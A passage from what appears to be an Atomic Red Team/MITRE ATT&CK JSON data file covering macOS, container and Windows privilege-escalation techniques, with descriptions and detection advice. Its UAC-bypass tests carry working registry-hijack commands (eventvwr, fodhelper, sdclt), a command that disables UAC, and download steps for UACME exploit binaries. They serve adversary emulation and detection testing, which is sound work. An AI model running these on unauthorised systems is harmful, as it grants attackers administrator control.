- "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline
executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1543": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
- "created": "2020-01-10T16:03:18.865Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543",
- "url": "https://attack.mitre.org/techniques/T1543"
- },
- {
- "source_name": "AppleDocs Launch Agent Daemons",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."
- },
- {
- "source_name": "TechNet Services",
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016."
- },
- {
- "source_name": "OSX Malware Detection",
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ",
- "modified": "2022-04-20T16:52:58.415Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process",
- "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Driver: Driver Load",
- "Command: Command Execution",
- "File: File Creation",
- "Service: Service Modification",
- "Process: OS API Execution",
- "Service: Service Creation",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1546.006": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
- "created": "2020-01-24T14:21:52.750Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.006",
- "url": "https://attack.mitre.org/techniques/T1546/006"
- },
- {
- "source_name": "Malware Persistence on OS X",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."
- },
- {
- "source_name": "Writing Bad Malware for OSX",
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
- "modified": "2022-04-20T17:08:21.101Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "LC_LOAD_DYLIB Addition",
- "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1053.007": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Center for Threat-Informed Defense (CTID)",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
- "type": "attack-pattern",
- "created": "2021-03-29T17:06:22.247Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.007",
- "url": "https://attack.mitre.org/techniques/T1053/007"
- },
- {
- "source_name": "Kubernetes Jobs",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021."
- },
- {
- "source_name": "Kubernetes CronJob",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- }
- ],
- "modified": "2022-04-01T13:06:58.794Z",
- "name": "Kubernetes Cronjob",
- "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Container: Container Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.007"
- },
- "atomic_tests": []
- },
- "T1548.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
- "created": "2020-01-30T14:24:34.977Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.002",
- "url": "https://attack.mitre.org/techniques/T1548/002"
- },
- {
- "source_name": "Davidson Windows",
- "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
- "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014."
- },
- {
- "source_name": "TechNet How UAC Works",
- "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
- "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016."
- },
- {
- "source_name": "SANS UAC Bypass",
- "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
- "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016."
- },
- {
- "source_name": "MSDN COM Elevation",
- "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
- "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016."
- },
- {
- "source_name": "enigma0x3 Fileless UAC Bypass",
- "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
- "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016."
- },
- {
- "source_name": "enigma0x3 sdclt app paths",
- "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
- "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017."
- },
- {
- "source_name": "enigma0x3 sdclt bypass",
- "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
- "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017."
- },
- {
- "source_name": "TechNet Inside UAC",
- "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
- "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016."
- },
- {
- "source_name": "Fortinet Fareit",
- "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
- "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016."
- },
- {
- "source_name": "Github UACMe",
- "url": "https://github.com/hfiref0x/UACME",
- "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe
can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
- "modified": "2022-04-19T15:11:20.036Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Abuse Elevation Control Mechanism: Bypass User Account Control",
- "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command
Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe
and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand
Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Metadata",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1548.002"
- },
- "atomic_tests": [
- {
- "name": "Bypass UAC using Event Viewer (cmd)",
- "auto_generated_guid": "5073adf8-9a50-4bd9-b298-a9bd2ead8af9",
- "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc\n",
- "cleanup_command": "reg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bypass UAC using Event Viewer (PowerShell)",
- "auto_generated_guid": "a6ce9acf-842a-4af6-8f79-539be7608e2b",
- "description": "PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC using Fodhelper",
- "auto_generated_guid": "58f641ea-12e3-499a-b684-44dee46bd182",
- "description": "Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\nreg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /v \"DelegateExecute\" /f\nfodhelper.exe\n",
- "cleanup_command": "reg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bypass UAC using Fodhelper - PowerShell",
- "auto_generated_guid": "3f627297-6c38-4e7d-a278-fc2563eaaeaa",
- "description": "PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC using ComputerDefaults (PowerShell)",
- "auto_generated_guid": "3c51abf2-44bf-42d8-9111-dc96ff66750f",
- "description": "PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10\nUpon execution administrative command prompt should open\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"\n",
- "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bypass UAC by Mocking Trusted Directories",
- "auto_generated_guid": "f7a35090-6f7f-4f64-bb47-d657bf5b10c1",
- "description": "Creates a fake \"trusted directory\" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems\nUpon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_binary": {
- "description": "Binary to execute with UAC Bypass",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "mkdir \"\\\\?\\C:\\Windows \\System32\\\"\ncopy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\nmklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\n",
- "cleanup_command": "rd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Bypass UAC using sdclt DelegateExecute",
- "auto_generated_guid": "3be891eb-4608-4173-87e8-78b494c029b7",
- "description": "Bypasses User Account Control using a fileless method, registry only.\nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command.to.execute": {
- "description": "Command to execute",
- "type": "string",
- "default": "cmd.exe /c notepad.exe"
- }
- },
- "executor": {
- "command": "New-Item -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Value '#{command.to.execute}'\nNew-ItemProperty -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\"\nStart-Process -FilePath $env:windir\\system32\\sdclt.exe\nStart-Sleep -s 3\n",
- "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Disable UAC using reg.exe",
- "auto_generated_guid": "9e8af564-53ec-407e-aaa8-3cb20c3af7f9",
- "description": "Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Bypass UAC using SilentCleanup task",
- "auto_generated_guid": "28104f8a-4ff1-4582-bcf6-699dce156608",
- "description": "Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/\n\nThere is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).\n\nFor example, we can set the windir registry kye to: \"cmd /k REM \"\n\nAnd forcefully run SilentCleanup task:\n\nschtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\n\nREM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "Path to the bat file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat"
- }
- },
- "executor": {
- "command": "#{file_path}\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "UACME Bypass Method 23",
- "auto_generated_guid": "8ceab7a2-563a-47d2-b5ba-0995211128d7",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\23 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 31",
- "auto_generated_guid": "b0f76240-9f33-4d34-90e8-3a7d501beb15",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\31 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
